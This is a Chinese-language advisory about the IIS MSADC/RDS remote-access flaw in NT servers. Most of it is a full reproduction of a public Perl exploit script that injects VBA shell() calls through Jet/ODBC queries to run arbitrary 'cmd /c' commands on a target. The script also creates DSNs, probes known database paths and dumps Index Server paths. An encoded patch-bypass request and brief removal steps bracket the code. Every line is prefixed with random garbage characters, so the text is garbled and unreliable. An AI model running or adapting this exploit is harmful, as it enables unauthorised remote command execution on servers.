IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Kfb(wW
;w Mu 涉及程序：
ZS+m}.,whQ Microsoft NT server
8i[TeW" Kuh3.1#o 描述：
P 0m9($JBD 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
%WU=Vy 4 zlEI_th:~ 详细：
A<|9</9z 如果你没有时间读详细内容的话，就删除:
X8m-5(uW c:\Program Files\Common Files\System\Msadc\msadcs.dll
\r:* `Z*y 有关的安全问题就没有了。
wb62($ C0f%~UMwd 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
_fk}d[q0 gN< 7(F 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
]8%E 'd 关于利用ODBC远程漏洞的描述，请参看:
PsUO8g '\ 82,^ Pu http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 1,=:an )zO|m7 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
8F>9CO:&N http://www.microsoft.com/security/bulletins/MS99-025faq.asp ?{ '_4n3O ^ ^}htg 这里不再论述。
7NRa&W2 #+D][LH4 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
M <JX /#T {0GBXe /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
^&&Wv'7XQ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
yFk|8 d-| {,5 .svO `5- ;' nX #将下面这段保存为txt文件，然后: "perl -x 文件名"
-Wa<}Tz CP\[ 9#]: #!perl
YZfi- 35@g #
0B8Wf/j?M # MSADC/RDS 'usage' (aka exploit) script
BTwc(oL #
S}rEQGGR{ # by rain.forest.puppy
ahg P"Qz #
1y:fH4V # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Fq~Zr;A # beta test and find errors!
M 0}r)@ dCM &Yf}K use Socket; use Getopt::Std;
]R\L~Kr getopts("e:vd:h:XR", \%args);
95IP_ 1}? k(RK AFj Y print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
K@e2%hk9x HYO/]\al if (!defined $args{h} && !defined $args{R}) {
+)yoQRekX print qq~
[nHN@ p| Usage: msadc.pl -h <host> { -d <delay> -X -v }
vmNo~clt\ -h <host> = host you want to scan (ip or domain)
%Y0lMNP -d <seconds> = delay between calls, default 1 second
xkFa -X = dump Index Server path table, if available
[?N ,3 -v = verbose
rPy,PQG2w -e = external dictionary file for step 5
+mBS&FK to).PI? Or a -R will resume a command session
r&xIVFPI[ H2|'JA#v ~; exit;}
x7 e0& C+t3a@&| $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
K?,? .!ev if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
EG^
rh; if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
#f(tzPD if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
nW]CA~ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
8Ys)q x>7' if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
}. D18bE( V?yQ m4 if (!defined $args{R}){ $ret = &has_msadc;
MPnMLUB$\ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
*PlKl_nP6 Y>3zpeQ!& print "Please type the NT commandline you want to run (cmd /c assumed):\n"
;Eg l8Vhr . "cmd /c ";
6I(Y<LZ5 $in=<STDIN>; chomp $in;
KW'nW $command="cmd /c " . $in ;
>!Y#2]@}o ^7>~y( if (defined $args{R}) {&load; exit;}
5q@s6_"{ eb}XooX print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
q'7.lrKwa> &try_btcustmr;
fcp_<2KH I-8I/RRkmP print "\nStep 2: Trying to make our own DSN...";
Cm8h
b &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
-ewR:Y@ j ]6^S: K_" print "\nStep 3: Trying known DSNs...";
4xT /8>v2| &known_dsn;
#\ N8E-d /zh:7N print "\nStep 4: Trying known .mdbs...";
1O,5bi>t7 &known_mdb;
4E=QO!pVv Ch l^LEN: if (defined $args{e}){
!oi
{ 8X@ print "\nStep 5: Trying dictionary of DSN names...";
9ec? L &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
?A\ +s,9 %VB4/~ " print "Sorry Charley...maybe next time?\n";
Ys_L GfK exit;
o1\N)% 4s Sw7` ##############################################################################
_l]
0V
g` D]fgBW - sub sendraw { # ripped and modded from whisker
a{e
2*V sleep($delay); # it's a DoS on the server! At least on mine...
fz VN;h my ($pstr)=@_;
Muq~p~m} socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
e u)""l die("Socket problems\n");
;Q&9 t if(connect(S,pack "SnA4x8",2,80,$target)){
kLF3s#k select(S); $|=1;
-4Dz9 8du print $pstr; my @in=<S>;
s\~j,$Mm2 select(STDOUT); close(S);
/C '_-U? return @in;
cV1E<CM } else { die("Can't connect...\n"); }}
} v x
4 6 q;QasAQS`p ##############################################################################
I+W,%)vb ze9n }oN sub make_header { # make the HTTP request
Ki:t!vAO my $msadc=<<EOT
S['%> POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
]qZj@0#7n User-Agent: ACTIVEDATA
W,,3@ : Host: $ip
m4uh<;C~ Content-Length: $clen
dm_Pz\ * Connection: Keep-Alive
-#;ZZ \fdj %L)QTv/ ADCClientVersion:01.06
% &H^UxC Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
)mAD <y+ @\gE{;a8 --!ADM!ROX!YOUR!WORLD!
6) =;cc{Vr Content-Type: application/x-varg
6NyUGGRq Content-Length: $reqlen
O%bltNEx1 NMg(t mh EOT
nfZe"|d ; $msadc=~s/\n/\r\n/g;
3rZPVR$)) return $msadc;}
GNwFB)?j im+g |9@% ##############################################################################
H_S"4I SS_ }jce5E sub make_req { # make the RDS request
^wSGrV' my ($switch, $p1, $p2)=@_;
\I6F;G6 my $req=""; my $t1, $t2, $query, $dsn;
I4ZbM nO 6^jrv [d if ($switch==1){ # this is the btcustmr.mdb query
s! D?% $query="Select * from Customers where City=" . make_shell();
xh<{lZ)KJ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
3HR)H-@6@7 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
1x/ R 8kd):gZKZ elsif ($switch==2){ # this is general make table query
Hs ov0 $query="create table AZZ (B int, C varchar(10))";
(6H 7?n v $dsn="$p1";}
=],c$) Z
s| *+[ elsif ($switch==3){ # this is general exploit table query
]C+P J:CC $query="select * from AZZ where C=" . make_shell();
kuLur)^ $dsn="$p1";}
h)W# 5i{J0/'Xu) elsif ($switch==4){ # attempt to hork file info from index server
sm[zE /2b $query="select path from scope()";
@o}J ) $dsn="Provider=MSIDXS;";}
<o|k'Y(- "5$p=| elsif ($switch==5){ # bad query
d KXzFyW $query="select";
J?t(TW6E $dsn="$p1";}
ow`F 7 9T$%^H9 $t1= make_unicode($query);
&.yX41R $t2= make_unicode($dsn);
c;t3I}, $req = "\x02\x00\x03\x00";
Q9p7{^m&E $req.= "\x08\x00" . pack ("S1", length($t1));
{@ x-T $req.= "\x00\x00" . $t1 ;
~z41$~/ $req.= "\x08\x00" . pack ("S1", length($t2));
1S +T:n $req.= "\x00\x00" . $t2 ;
mo4F\$2N $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Y> E` 7n return $req;}
zcOm"- E- .bV^u ##############################################################################
*GhV1# < 9P#kV@%(0c sub make_shell { # this makes the shell() statement
Ps 0<CUyI return "'|shell(\"$command\")|'";}
Wy1. nn[ HpeU'0u0VK ##############################################################################
E)p [^1WC y fuH sub make_unicode { # quick little function to convert to unicode
it>l?h7 I my ($in)=@_; my $out;
~EQ#
%db for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
X$t!g` return $out;}
\ ux {J |Q%nnN ##############################################################################
f/.f08 xu]Kt+QnSk sub rdo_success { # checks for RDO return success (this is kludge)
FL$S_JAw my (@in) = @_; my $base=content_start(@in);
9 ,tk if($in[$base]=~/multipart\/mixed/){
cuf]-C1_ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
+uNMyVH return 0;}
6>&(OV bq5we*" V ##############################################################################
|XQ\c.A By*YBZ sub make_dsn { # this makes a DSN for us
`4Z:qh+fJ my @drives=("c","d","e","f");
NVom6K print "\nMaking DSN: ";
z}r foreach $drive (@drives) {
z^/9 YzA!6 print "$drive: ";
Lcy6G%A my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Sy*p6DP "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
oj?y_0}:^ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
" 9 vL+Hh $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
UH(w, R` return 0 if $2 eq "404"; # not found/doesn't exist
v y-(:aH7U if($2 eq "200") {
R:^jQ'1 foreach $line (@results) {
}U}ppq0Eo return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
0 E3;f; 'X } return 0;}
W kp He )#? K2E ##############################################################################
bVZA f Crla~h?= sub verify_exists {
VS~+W=5} my ($page)=@_;
~Kt+j my @results=sendraw("GET $page HTTP/1.0\n\n");
4]
u\5K- return $results[0];}
cnY}^_ CqX*.j{ ##############################################################################
*
+ 6Z^ 7 x>J(3I5_b sub try_btcustmr {
ka`}l R my @drives=("c","d","e","f");
p~(STHDe# my @dirs=("winnt","winnt35","winnt351","win","windows");
`o O*ORq& (2 hI foreach $dir (@dirs) {
N
/;Vg ^Wx print "$dir -> "; # fun status so you can see progress
OSJj^Y)W| foreach $drive (@drives) {
AOqL&z print "$drive: "; # ditto
11 A$#\, $reqlen=length( make_req(1,$drive,$dir) ) - 28;
@6;ZP1 $reqlenlen=length( "$reqlen" );
0uGTc[^^M $clen= 206 + $reqlenlen + $reqlen;
cp`ZeLz2^ BuitM|k' my @results=sendraw(make_header() . make_req(1,$drive,$dir));
y<BG- if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Xoq - else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
;<F^&/a|yQ uaLjHR0 ##############################################################################
8|!"CQJ|H (Dba!zSs sub odbc_error {
* u[@C my (@in)=@_; my $base;
/Ea&Zm my $base = content_start(@in);
mZnsr@KF if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
>V%.=})K $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
h>z5m $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
tC /+ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
> @-BZJg/k return $in[$base+4].$in[$base+5].$in[$base+6];}
z' 5 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
?cK67|% W print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
}_+) :<Db $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
ij}{H#0S- {"N:2 ##############################################################################
j97K\]tQ yZmeke)_ sub verbose {
6OtNWbB my ($in)=@_;
%Go/\g return if !$verbose;
],zp~yVU& print STDOUT "\n$in\n";}
AJoP3Zv|? TTo?BVBK ##############################################################################
{yxLL-5c O_DT7;g sub save {
m_;XhO my ($p1, $p2, $p3, $p4)=@_;
I;{Ua * open(OUT, ">rds.save") || print "Problem saving parameters...\n";
W6u(+P](" print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
?. L]QU close OUT;}
3CSw cD SEM- t ##############################################################################
i\K88B&24 Yqt~h sub load {
Yic4|N?u my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
(;N#Gqb6l open(IN,"<rds.save") || die("Couldn't open rds.save\n");
=ATQ2\T$m @p=<IN>; close(IN);
=6qSo
@ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
{Q^ -
$target= inet_aton($ip) || die("inet_aton problems");
83 )m# print "Resuming to $ip ...";
$?OQtz@ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
sei%QE]!/ if($p[1]==1) {
[E9_ZdB T $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Z| 3[Y@c \ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
{{ 1qk G9$ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
oRmA\R* if (rdo_success(@results)){print "Success!\n";}
YTfi g{a else { print "failed\n"; verbose(odbc_error(@results));}}
2H~E~6G elsif ($p[1]==3){
H<*n5r(c if(run_query("$p[3]")){
5VGZ5,+<< print "Success!\n";} else { print "failed\n"; }}
7e)j|a-!< elsif ($p[1]==4){
j}G9+GX~, if(run_query($drvst . "$p[3]")){
E6?0/" print "Success!\n"; } else { print "failed\n"; }}
- C8VDjf9 exit;}
Pf3F)y [= {J;(K~>?m ##############################################################################
F]RZP/D` AbX#wpp! sub create_table {
"'Q~&B;@ my ($in)=@_;
+4[Je$qYa $reqlen=length( make_req(2,$in,"") ) - 28;
0.U-
tg0 $reqlenlen=length( "$reqlen" );
J[\8:q E $clen= 206 + $reqlenlen + $reqlen;
E8aD[j[w my @results=sendraw(make_header() . make_req(2,$in,""));
~x+&cA-0A2 return 1 if rdo_success(@results);
Saks~m7, my $temp= odbc_error(@results); verbose($temp);
C&.Q|S2_ return 1 if $temp=~/Table 'AZZ' already exists/;
Q 6r
return 0;}
WvcPOt8Bp> {C %f~j ##############################################################################
TO/SiOd @Fb
2c0?Y sub known_dsn {
}%3i8e # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
VF~kjH2> my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
V'l9fj*E "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
"Q[?W( SA "banner", "banners", "ads", "ADCDemo", "ADCTest");
;F /w&u.n }l5Q0' foreach $dSn (@dsns) {
87R$Y> V print ".";
=o[H2o
y next if (!is_access("DSN=$dSn"));
{t('`z if(create_table("DSN=$dSn")){
oe=W}y_k print "$dSn successful\n";
suN}6C I if(run_query("DSN=$dSn")){
uLt31G() print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
-]:1zU print "Something's borked. Use verbose next time\n";}}} print "\n";}
r
<2&_$| ]OC?g2&6 ##############################################################################
O7f"8|=HX *3y_FTh8ra sub is_access {
07vzVsQ}p my ($in)=@_;
?|GwuG8g $reqlen=length( make_req(5,$in,"") ) - 28;
0)9n${P7d $reqlenlen=length( "$reqlen" );
$$T a $clen= 206 + $reqlenlen + $reqlen;
tG 0
&0` my @results=sendraw(make_header() . make_req(5,$in,""));
S6{y%K2y& my $temp= odbc_error(@results);
)kE1g& verbose($temp); return 1 if ($temp=~/Microsoft Access/);
*nHkK!d<N return 0;}
~[0^{$rrWs f3m Qd}<L ##############################################################################
u/`
t+-A |#22pq?RP sub run_query {
D!V*H?;U my ($in)=@_;
@:P:`Zk $reqlen=length( make_req(3,$in,"") ) - 28;
~mT( [ V $reqlenlen=length( "$reqlen" );
X D \;| $clen= 206 + $reqlenlen + $reqlen;
q)RTy|N J^ my @results=sendraw(make_header() . make_req(3,$in,""));
HQc^ybX5 return 1 if rdo_success(@results);
`OWwqLoeA my $temp= odbc_error(@results); verbose($temp);
%eJE@$ return 0;}
vZ|Wj] ;o *>jJ<8! ##############################################################################
MVp+ 2@)}s t28 y=nv sub known_mdb {
`Oe}O SxnT my @drives=("c","d","e","f","g");
stq%Eg? my @dirs=("winnt","winnt35","winnt351","win","windows");
lkQ(?7 my $dir, $drive, $mdb;
>oyZD^gj my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
@KU^B_{i .:Zb ~ # this is sparse, because I don't know of many
gz p]hh@4 my @sysmdbs=( "\\catroot\\icatalog.mdb",
GAlM:> "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
@[O|n )7 "\\system32\\certmdb.mdb",
P2
z~U "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
`M ~-(,++ E~`<n]{G-C my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
LC0g" {M "\\cfusion\\cfapps\\forums\\forums_.mdb",
]KQBek#DD "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
]fU0;jzX "\\cfusion\\cfapps\\security\\realm_.mdb",
,veI'WHMB "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Bv^5L>JZ/ "\\cfusion\\database\\cfexamples.mdb",
.Q DeS|l "\\cfusion\\database\\cfsnippets.mdb",
P5Pb2|\* "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Y58et9gRO "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
f}Uf* Bp "\\cfusion\\brighttiger\\database\\cleam.mdb",
lR5k1J1n "\\cfusion\\database\\smpolicy.mdb",
'CvV Ktk "\\cfusion\\database\cypress.mdb",
2Gn26L 5 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
@5cY5e*i{ "\\website\\cgi-win\\dbsample.mdb",
fh9w5hT={ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
dz )(~@tgz "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
#$ ,b )Uy ); #these are just
;<BMgO}N foreach $drive (@drives) {
'I @l$H foreach $dir (@dirs){
o AM)< #U> foreach $mdb (@sysmdbs) {
P"Y 7N?\]( print ".";
>'&|{s[ m if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
R(GL{Dh}L print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
+3r4GEa
Z if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
+w (B9rH print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
6f;20dn 6 } else { print "Something's borked. Use verbose next time\n"; }}}}}
m@g9+ 7 p ^ )iC&*0 foreach $drive (@drives) {
J QA]O/|N foreach $mdb (@mdbs) {
P u,JR print ".";
+?GsIp@>jh if(create_table($drv . $drive . $dir . $mdb)){
rp v<'$6 print "\n" . $drive . $dir . $mdb . " successful\n";
b yX) 4& if(run_query($drv . $drive . $dir . $mdb)){
e0`5PVJ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Vv*](iM } else { print "Something's borked. Use verbose next time\n"; }}}}
Gg5+Ap D }
> |(L3UA9 'E4}++\ ##############################################################################
Eu$hC]w q4Y7 HE|ym sub hork_idx {
; r95i1a' print "\nAttempting to dump Index Server tables...\n";
g
?{o2gG print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
|) CfO 4 $reqlen=length( make_req(4,"","") ) - 28;
4&G
#Bi $reqlenlen=length( "$reqlen" );
*m[ [>wE $clen= 206 + $reqlenlen + $reqlen;
o|y1 m7X my @results=sendraw2(make_header() . make_req(4,"",""));
jL:GP}I= if (rdo_success(@results)){
9QEK|x`8 my $max=@results; my $c; my %d;
; ~( yv|f6 for($c=19; $c<$max; $c++){
]eo%eaA $results[$c]=~s/\x00//g;
>4nQ& b.u $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
N$<R6DU]K $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
J(Zz^$8]<? $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
}KR"0G[f $d{"$1$2"}="";}
|_%q@EID foreach $c (keys %d){ print "$c\n"; }
T< o8lL } else {print "Index server doesn't seem to be installed.\n"; }}
*JiI>[ qR9!DQc' ##############################################################################
I"HA(
+G X> U _v sub dsn_dict {
0G(|`xG1q open(IN, "<$args{e}") || die("Can't open external dictionary\n");
*fQn!2}=( while(<IN>){
+RyV"& v $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
a[NR%Xq next if (!is_access("DSN=$dSn"));
OF O,5 if(create_table("DSN=$dSn")){
mD;ioaE
print "$dSn successful\n";
!u|s8tN.U if(run_query("DSN=$dSn")){
P$6 P e> 3 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
: d wP print "Something's borked. Use verbose next time\n";}}}
4z,/ 0 print "\n"; close(IN);}
h.5KzC
S MCl-er"]D ##############################################################################
"$A5:1; %(:{TR sub sendraw2 { # ripped and modded from whisker
o8N,mGj} sleep($delay); # it's a DoS on the server! At least on mine...
x,Tn YqT^ my ($pstr)=@_;
B9S@G{` socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
'm.+ S8 die("Socket problems\n");
Dao=2JB{ if(connect(S,pack "SnA4x8",2,80,$target)){
!xEGN@ print "Connected. Getting data";
}z-6 ,i)'k open(OUT,">raw.out"); my @in;
H}g p`YW:4 select(S); $|=1; print $pstr;
YZ6"
s- while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
de Ci\n close(OUT); select(STDOUT); close(S); return @in;
kQO-V4z! } else { die("Can't connect...\n"); }}
-v$ q8_$m" $Ao'mT ##############################################################################
*Nur>11D ,n &Lp sub content_start { # this will take in the server headers
\W 7pSV-U my (@in)=@_; my $c;
t@q==VHF for ($c=1;$c<500;$c++) {
D Y1"t7
9E if($in[$c] =~/^\x0d\x0a/){
Hh*
KcIRX if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
TEi1,yc else { return $c+1; }}}
?b\oM
v5y return -1;} # it should never get here actually
Z=(Tq1t q I*7ToBJ ##############################################################################
hp}JKj@ -!IeP]n#P sub funky {
t)4] 2z)$ my (@in)=@_; my $error=odbc_error(@in);
| 2Uw8M7.E if($error=~/ADO could not find the specified provider/){
3e)$ <e print "\nServer returned an ADO miscofiguration message\nAborting.\n";
{2U3 exit;}
)oy+-1dE if($error=~/A Handler is required/){
y-mjfW`n print "\nServer has custom handler filters (they most likely are patched)\n";
>{>X.I~ exit;}
SZ~lCdWad if($error=~/specified Handler has denied Access/){
; KT/;I print "\nServer has custom handler filters (they most likely are patched)\n";
8LUl@!4b exit;}}
JV?d/[u , O"J"H2}S ##############################################################################
^ LVKXr XC4wm#R sub has_msadc {
GIhF OK my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
rTim1<IXR my $base=content_start(@results);
H {1'- wB return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
z-h?Q4; return 0;}
h;):TFiC L9d|7.b ########################
|BXp ` @Y !B~ ]rji]4s 解决方案：
T9uOOI 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
*/4hFD { 2、移除web 目录: /msadc
